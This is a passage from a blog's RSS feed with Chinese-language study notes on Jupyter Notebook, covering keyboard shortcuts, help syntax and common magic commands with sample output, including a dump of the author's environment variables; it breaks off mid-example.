<p>并非如此，软件只是单纯地告诉我一个结果，我还是不知道如何进行模2因式分解！</p>
]]></content:encoded>
    </item>
    <item>
      <title>jupyter notebook 学习笔记</title>
      <link>https://hacperme.com/posts/notes/2018-06-08-jupyter_notebook_learnning_note/</link>
      <pubDate>Fri, 08 Jun 2018 23:59:31 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-06-08-jupyter_notebook_learnning_note/</guid>
      <description>快捷键 查看快捷键 在右上角的== help-&amp;gt;keyboard Shortcuts == 或者在命令模式按 H 常用快捷键 Command Mode (press Esc to enable) F : find and replace Enter : enter edit mode Shift-Enter : run cell, select below Ctrl-Enter : run selected cells Alt-Enter : run cell and insert below Y : change cell</description>
      <content:encoded><![CDATA[<h2 id="快捷键">快捷键</h2>
<ol>
<li>查看快捷键</li>
</ol>
<p>在右上角的== help-&gt;keyboard Shortcuts ==<br>
或者在命令模式按 <strong>H</strong></p>
<ol start="2">
<li>常用快捷键</li>
</ol>
<p><strong>Command Mode (press Esc to enable)</strong></p>
<ul>
<li><!-- raw HTML omitted -->F : find and replace<!-- raw HTML omitted --></li>
<li>Enter : enter edit mode</li>
<li>Shift-Enter : run cell, select below</li>
<li>Ctrl-Enter : run selected cells</li>
<li>Alt-Enter : run cell and insert below</li>
<li><!-- raw HTML omitted -->Y : change cell to code<!-- raw HTML omitted --></li>
<li><!-- raw HTML omitted --><!-- raw HTML omitted --><!-- raw HTML omitted --><!-- raw HTML omitted -->M : change cell to markdown<!-- raw HTML omitted --><!-- raw HTML omitted --><!-- raw HTML omitted --><!-- raw HTML omitted --></li>
<li>R : change cell to raw</li>
<li><!-- raw HTML omitted --><!-- raw HTML omitted -->1 : change cell to heading 1<!-- raw HTML omitted --><!-- raw HTML omitted --></li>
<li>2 : change cell to heading 2</li>
<li>K : select cell abov- F : find and replace</li>
<li>Enter : enter edit mode</li>
<li><!-- raw HTML omitted -->P : open the command palette<!-- raw HTML omitted --></li>
<li>Shift-Enter : run cell, select below</li>
<li>Ctrl-Enter : run selected cells</li>
<li>Alt-Enter : run cell and insert below</li>
<li>Y : change cell to code</li>
<li>1 : change cell to heading 1</li>
<li>2 : change cell to heading 2</li>
<li>K : select cell above</li>
<li>Up : select cell above</li>
<li>Down : select cell below</li>
<li>J : select cell below</li>
<li>Shift-K : extend selected cells above</li>
<li>Shift-Up : extend selected cells above</li>
<li>Shift-Down : extend selected cells below</li>
<li>Shift-J : extend selected cells below</li>
<li>A : insert cell above</li>
<li>B : insert cell below</li>
<li>X : cut selected cells</li>
<li>C : copy selected cells</li>
<li>Z : undo cell deletion</li>
<li>D,D : delete selected cells</li>
<li>Shift-M : merge selected cells, or current cell with cell below if only one cell is selected</li>
<li>L : toggle line numbers</li>
<li>H : show keyboard shortcuts</li>
<li>Shift-Space : scroll notebook up</li>
<li>Space : scroll notebook downe</li>
</ul>
<p><strong>Edit Mode (press Enter to enable)</strong></p>
<ul>
<li><!-- raw HTML omitted -->Tab : code completion or indent<!-- raw HTML omitted --></li>
<li><!-- raw HTML omitted -->Shift-Tab: tooltip (e.g. to get function arguments)<!-- raw HTML omitted --></li>
<li>Ctrl-A : select all</li>
<li>Ctrl-Z : undo</li>
<li>Ctrl-/ : comment</li>
<li>Esc : enter command mode</li>
<li>Shift-Enter : run cell, select below</li>
<li>Ctrl-Enter : run selected cells</li>
<li>Alt-Enter : run cell and insert below</li>
<li>Ctrl-Shift-Minus : split cell at cursor</li>
</ul>
<h2 id="查看文档">查看文档</h2>
<ul>
<li>在 help 菜单有常用库文档的连接，包括 NumPy, Pandas, SciPy 和 Matplotlib.</li>
<li>在一个库，方法或变量前加上 ?，你可以获得它的一个快速语法说明</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">  <span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">  <span class="err">?</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># 查看帮助</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">??</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 查看源码</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Signature: random.choice<span class="o">(</span>seq<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Docstring: Choose a random element from a non-empty sequence.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">File: i:<span class="se">\p</span>ython364<span class="se">\l</span>ib<span class="se">\r</span>andom.py
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Type: method
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="jupyter-magic-commands">Jupyter Magic Commands</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">lsmagic</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 查看所有魔法命令</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">Available line magics:
</span></span><span class="line"><span class="cl"><span class="nv">%alias  %</span>alias_magic  <span class="nv">%autocall  %</span>automagic  <span class="nv">%autosave  %</span>bookmark  <span class="nv">%cd  %</span>clear  <span class="nv">%cls  %</span>colors  <span class="nv">%config  %</span>connect_info  <span class="nv">%copy  %</span>ddir  <span class="nv">%debug  %</span>dhist  <span class="nv">%dirs  %</span>doctest_mode  <span class="nv">%echo  %</span>ed  <span class="nv">%edit  %</span>env  <span class="nv">%gui  %</span>hist  <span class="nv">%history  %</span>killbgscripts  <span class="nv">%ldir  %</span>less  <span class="nv">%load  %</span>load_ext  <span class="nv">%loadpy  %</span>logoff  <span class="nv">%logon  %</span>logstart  <span class="nv">%logstate  %</span>logstop  <span class="nv">%ls  %</span>lsmagic  <span class="nv">%macro  %</span>magic  <span class="nv">%matplotlib  %</span>mkdir  <span class="nv">%more  %</span>notebook  <span class="nv">%page  %</span>pastebin  <span class="nv">%pdb  %</span>pdef  <span class="nv">%pdoc  %</span>pfile  <span class="nv">%pinfo  %</span>pinfo2  <span class="nv">%popd  %</span>pprint  <span class="nv">%precision  %</span>profile  <span class="nv">%prun  %</span>psearch  <span class="nv">%psource  %</span>pushd  <span class="nv">%pwd  %</span>pycat  <span class="nv">%pylab  %</span>qtconsole  <span class="nv">%quickref  %</span>recall  <span class="nv">%rehashx  %</span>reload_ext  <span class="nv">%ren  %</span>rep  <span class="nv">%rerun  %</span>reset  <span class="nv">%reset_selective  %</span>rmdir  <span class="nv">%run  %</span>save  <span class="nv">%sc  %</span>set_env  <span class="nv">%store  %</span>sx  <span class="nv">%system  %</span>tb  <span class="nv">%time  %</span>timeit  <span class="nv">%unalias  %</span>unload_ext  <span class="nv">%who  %</span>who_ls  <span class="nv">%whos  %</span>xdel  %xmode
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Available cell magics:
</span></span><span class="line"><span class="cl"><span class="se">%%</span>!  <span class="se">%%</span>HTML  <span class="se">%%</span>SVG  <span class="se">%%</span>bash  <span class="se">%%</span>capture  <span class="se">%%</span>cmd  <span class="se">%%</span>debug  <span class="se">%%</span>file  <span class="se">%%</span>html  <span class="se">%%</span>javascript  <span class="se">%%</span>js  <span class="se">%%</span>latex  <span class="se">%%</span>markdown  <span class="se">%%</span>perl  <span class="se">%%</span>prun  <span class="se">%%</span>pypy  <span class="se">%%</span>python  <span class="se">%%</span>python2  <span class="se">%%</span>python3  <span class="se">%%</span>ruby  <span class="se">%%</span>script  <span class="se">%%</span>sh  <span class="se">%%</span>svg  <span class="se">%%</span>sx  <span class="se">%%</span>system  <span class="se">%%</span>time  <span class="se">%%</span>timeit  <span class="se">%%</span>writefile
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Automagic is ON, % prefix IS NOT needed for line magics.
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>常用魔法命令</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">env</span> <span class="n">AA</span> <span class="o">=</span> <span class="s1">&#39;123&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 设置环境变量</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">%</span><span class="n">env</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 列出环境变量</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">env: AA=&#39;123&#39;
</span></span><span class="line"><span class="cl">{&#39;ACTEL_FOR_ALTIUM_OVERRIDE&#39;: &#39; &#39;,
</span></span><span class="line"><span class="cl"> &#39;ALLUSERSPROFILE&#39;: &#39;D:\\ProgramData&#39;,
</span></span><span class="line"><span class="cl"> &#39;ALTERA_FOR_ALTIUM_OVERRIDE&#39;: &#39; &#39;,
</span></span><span class="line"><span class="cl"> &#39;APPDATA&#39;: &#39;D:\\Users\\tracis\\AppData\\Roaming&#39;,
</span></span><span class="line"><span class="cl"> &#39;CLASSPATH&#39;: &#39; .;I:\\Java\\jdk1.8.0_101/lib/dt.jar;I:\\Java\\jdk1.8.0_101/lib/tools.jar&#39;,
</span></span><span class="line"><span class="cl"> &#39;COMMONPROGRAMFILES&#39;: &#39;D:\\Program Files (x86)\\Common Files&#39;,
</span></span><span class="line"><span class="cl"> &#39;COMMONPROGRAMFILES(X86)&#39;: &#39;D:\\Program Files (x86)\\Common Files&#39;,
</span></span><span class="line"><span class="cl"> &#39;COMMONPROGRAMW6432&#39;: &#39;D:\\Program Files\\Common Files&#39;,
</span></span><span class="line"><span class="cl"> &#39;COMPUTERNAME&#39;: &#39;HACPER-PC&#39;,
</span></span><span class="line"><span class="cl"> &#39;COMSPEC&#39;: &#39;D:\\WINDOWS\\system32\\cmd.exe&#39;,
</span></span><span class="line"><span class="cl"> &#39;DRIVERDATA&#39;: &#39;D:\\Windows\\System32\\Drivers\\DriverData&#39;,
</span></span><span class="line"><span class="cl"> &#39;ENVCONTAINERTELEMETRYAPICMDLINE&#39;: &#39;-st <span class="s2">&#34;D:\\Program Files\\NVIDIA Corporation\\NvContainer\\NvContainerTelemetryApi.dll&#34;</span>&#39;,
</span></span><span class="line"><span class="cl"> &#39;ENVCONTAINERTELEMETRYAPICMDLINEX86&#39;: &#39;-st <span class="s2">&#34;D:\\Program Files (x86)\\NVIDIA Corporation\\NvContainer\\NvContainerTelemetryApi.dll&#34;</span>&#39;,
</span></span><span class="line"><span class="cl"> &#39;FP_NO_HOST_CHECK&#39;: &#39;NO&#39;,
</span></span><span class="line"><span class="cl"> &#39;HOMEDRIVE&#39;: &#39;D:&#39;,
</span></span><span class="line"><span class="cl"> &#39;HOMEPATH&#39;: &#39;\\Users\\tracis&#39;,
</span></span><span class="line"><span class="cl"> &#39;JAVA_HOME&#39;: &#39;I:\\Java\\jdk1.8.0_101&#39;,
</span></span><span class="line"><span class="cl"> &#39;K2PDFOPT_CUSTOM0&#39;: &#39;Last Settings;-o D:\\Users\\tracis\\Desktop\\%b_k2opt;&#39;,
</span></span><span class="line"><span class="cl"> &#39;K2PDFOPT_CUSTOM1&#39;: &#39;2-column paper;-mode 2col;&#39;,
</span></span><span class="line"><span class="cl"> &#39;K2PDFOPT_CUSTOM2&#39;: &#39;Trim Margins;-mode fw;&#39;,
</span></span><span class="line"><span class="cl"> &#39;K2PDFOPT_WINPOS&#39;: &#39;-8 -8 872 720&#39;,
</span></span><span class="line"><span class="cl"> &#39;KMP_DUPLICATE_LIB_OK&#39;: &#39;TRUE&#39;,
</span></span><span class="line"><span class="cl"> &#39;LOCALAPPDATA&#39;: &#39;D:\\Users\\tracis\\AppData\\Local&#39;,
</span></span><span class="line"><span class="cl"> &#39;LOGONSERVER&#39;: &#39;\\\\HACPER-PC&#39;,
</span></span><span class="line"><span class="cl"> &#39;MKL_SERIAL&#39;: &#39;YES&#39;,
</span></span><span class="line"><span class="cl"> &#39;NIEXTCCOMPILERSUPP&#39;: &#39;I:\\National Instruments\\Shared\\ExternalCompilerSupport\\C\\&#39;,
</span></span><span class="line"><span class="cl"> &#39;NO_XILINX_DATA_LICENSE&#39;: &#39;HIDDEN&#39;,
</span></span><span class="line"><span class="cl"> &#39;NUMBER_OF_PROCESSORS&#39;: &#39;4&#39;,
</span></span><span class="line"><span class="cl"> &#39;ONEDRIVE&#39;: &#39;D:\\Users\\tracis\\OneDrive&#39;,
</span></span><span class="line"><span class="cl"> &#39;OS&#39;: &#39;Windows_NT&#39;,
</span></span><span class="line"><span class="cl"> &#39;PATH&#39;: &#39;I:\\FFMPEG~1\\bin;D:\\PROGRA~1\\Docker\\Docker\\RESOUR~1\\bin;I:\\PHANTO~1.1-W\\bin;I:\\PYTHON~1\\Scripts;I:\\PYTHON~1;I:\\ANDROI~1\\PLATFO~2;D:\\Windows\\System32\\wbem;I:\\Java\\jdk1.8.0_101/bin;I:\\Java\\jdk1.8.0_101/jre/bin;D:\\Windows\\System32;I:\\gcc\\bin;i:\\quartus\\quartus\\bin;D:\\Windows;I:\\OpenVPN\\bin;I:\\calibre\\;I:\\ANDROI~1\\NDK-BU~1;I:\\Redis\\;I:\\Git\\cmd;I:\\MATLAB\\runtime\\win64;I:\\MATLAB\\bin;D:\\Windows\\System32\\WINDOW~1\\v1.0\\;D:\\WINDOWS\\system32;D:\\WINDOWS;D:\\WINDOWS\\System32\\Wbem;D:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;D:\\WINDOWS\\System32\\OpenSSH\\;D:\\Program Files (x86)\\NVIDIA Corporation\\PhysX\\Common;I:\\Process Lasso\\;D:\\Users\\tracis\\AppData\\Local\\Microsoft\\WindowsApps;i:\\python364\\lib\\site-packages\\pywin32_system32;i:\\python364\\lib\\site-packages\\pywin32_system32&#39;,
</span></span><span class="line"><span class="cl"> &#39;PATHEXT&#39;: &#39;.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.PYW&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROCESSOR_ARCHITECTURE&#39;: &#39;x86&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROCESSOR_ARCHITEW6432&#39;: &#39;AMD64&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROCESSOR_IDENTIFIER&#39;: &#39;Intel64 Family 6 Model 61 Stepping 4, GenuineIntel&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROCESSOR_LEVEL&#39;: &#39;6&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROCESSOR_REVISION&#39;: &#39;3d04&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROGRAMDATA&#39;: &#39;D:\\ProgramData&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROGRAMFILES&#39;: &#39;D:\\Program Files (x86)&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROGRAMFILES(X86)&#39;: &#39;D:\\Program Files (x86)&#39;,
</span></span><span class="line"><span class="cl"> &#39;PROGRAMW6432&#39;: &#39;D:\\Program Files&#39;,
</span></span><span class="line"><span class="cl"> &#39;PSMODULEPATH&#39;: &#39;D:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\&#39;,
</span></span><span class="line"><span class="cl"> &#39;PUBLIC&#39;: &#39;D:\\Users\\Public&#39;,
</span></span><span class="line"><span class="cl"> &#39;QUARTUS_ROOTDIR&#39;: &#39;i:\\quartus\\quartus&#39;,
</span></span><span class="line"><span class="cl"> &#39;SESSIONNAME&#39;: &#39;Console&#39;,
</span></span><span class="line"><span class="cl"> &#39;SYSTEMDRIVE&#39;: &#39;D:&#39;,
</span></span><span class="line"><span class="cl"> &#39;SYSTEMROOT&#39;: &#39;D:\\WINDOWS&#39;,
</span></span><span class="line"><span class="cl"> &#39;TEMP&#39;: &#39;K:\\temp&#39;,
</span></span><span class="line"><span class="cl"> &#39;TMP&#39;: &#39;K:\\temp&#39;,
</span></span><span class="line"><span class="cl"> &#39;USERDOMAIN&#39;: &#39;HACPER-PC&#39;,
</span></span><span class="line"><span class="cl"> &#39;USERDOMAIN_ROAMINGPROFILE&#39;: &#39;HACPER-PC&#39;,
</span></span><span class="line"><span class="cl"> &#39;USERNAME&#39;: &#39;tracis&#39;,
</span></span><span class="line"><span class="cl"> &#39;USERPROFILE&#39;: &#39;D:\\Users\\tracis&#39;,
</span></span><span class="line"><span class="cl"> &#39;WINDIR&#39;: &#39;D:\\WINDOWS&#39;,
</span></span><span class="line"><span class="cl"> &#39;WINDOWS_TRACING_FLAGS&#39;: &#39;3&#39;,
</span></span><span class="line"><span class="cl"> &#39;XILINX_FOR_ALTIUM_OVERRIDE&#39;: &#39; &#39;,
</span></span><span class="line"><span class="cl"> &#39;JPY_INTERRUPT_EVENT&#39;: &#39;1248&#39;,
</span></span><span class="line"><span class="cl"> &#39;IPY_INTERRUPT_EVENT&#39;: &#39;1248&#39;,
</span></span><span class="line"><span class="cl"> &#39;JPY_PARENT_PID&#39;: &#39;1212&#39;,
</span></span><span class="line"><span class="cl"> &#39;TERM&#39;: &#39;xterm-color&#39;,
</span></span><span class="line"><span class="cl"> &#39;CLICOLOR&#39;: &#39;1&#39;,
</span></span><span class="line"><span class="cl"> &#39;PAGER&#39;: &#39;cat&#39;,
</span></span><span class="line"><span class="cl"> &#39;GIT_PAGER&#39;: &#39;cat&#39;,
</span></span><span class="line"><span class="cl"> &#39;MPLBACKEND&#39;: &#39;module://ipykernel.pylab.backend_inline&#39;,
</span></span><span class="line"><span class="cl"> &#39;AA&#39;: <span class="s2">&#34;&#39;123&#39;&#34;</span>}
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>读写文件</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%%</span><span class="n">file</span> <span class="n">hello</span><span class="o">.</span><span class="n">txt</span>
</span></span><span class="line"><span class="cl"><span class="n">Hello</span><span class="p">,</span> <span class="n">world</span>
</span></span><span class="line"><span class="cl"><span class="n">This</span> <span class="ow">is</span> <span class="n">thing</span> <span class="n">number</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">This</span> <span class="ow">is</span> <span class="n">thing</span> <span class="n">number</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="n">This</span> <span class="ow">is</span> <span class="n">thing</span> <span class="n">number</span> <span class="mi">3</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">Writing hello.txt
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">pycat</span> <span class="n">hello</span><span class="o">.</span><span class="n">txt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>%run 可以从.py 文件执行 Python 代码. 它也可以执行其他的 Jupyter notebook,</li>
</ul>
<p>注意使用%run 并不等同于导入一个 Python 模块.</p>
<ul>
<li>%store 命令可以让你在两个不同的 notebook 间传递变量。</li>
<li>不带参数的%who 命令将会列出全局范围内存在的所有变量。如果传入参数，比如 str，将会列出指定类型的所有变量。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">who</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">random
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>%%time 将会给出 cell 的代码运行一次所花费的时间。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%%</span><span class="n">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.01</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">Wall time: 106 ms
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>%timeit 使用 Python 的 timeit 模块，它将会执行一个语句 100，000 次(默认情况下)，然后给出运行最快 3 次的平均值。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">timeit</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span>
</span></span><span class="line"><span class="cl"><span class="o">%</span><span class="n">timeit</span> <span class="n">numpy</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">normal</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">13.3 µs ± 624 ns per loop (mean ± std. dev. of 7 runs, 100000 loops each)
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>使用%%writefile 魔法保存 cell 的内容到一个外部文件。%pycat 则刚好相反，并且会向你展示高亮后的外部文件。</li>
<li>使用%prun statement_name 将会产生一个有序表格来展示在该语句中所调用的每个内部函数调用的次数，每次调用的时间与该函数累计运行的时间。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">prun</span> <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;hello&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl">hello
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>加上一个分号可以抑制最后一行函数的输出</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">matplotlib</span> <span class="n">inline</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span>
</span></span><span class="line"><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">numpy</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1000</span><span class="p">)</span><span class="o">**</span><span class="mf">1.5</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">hist</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 有输出</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
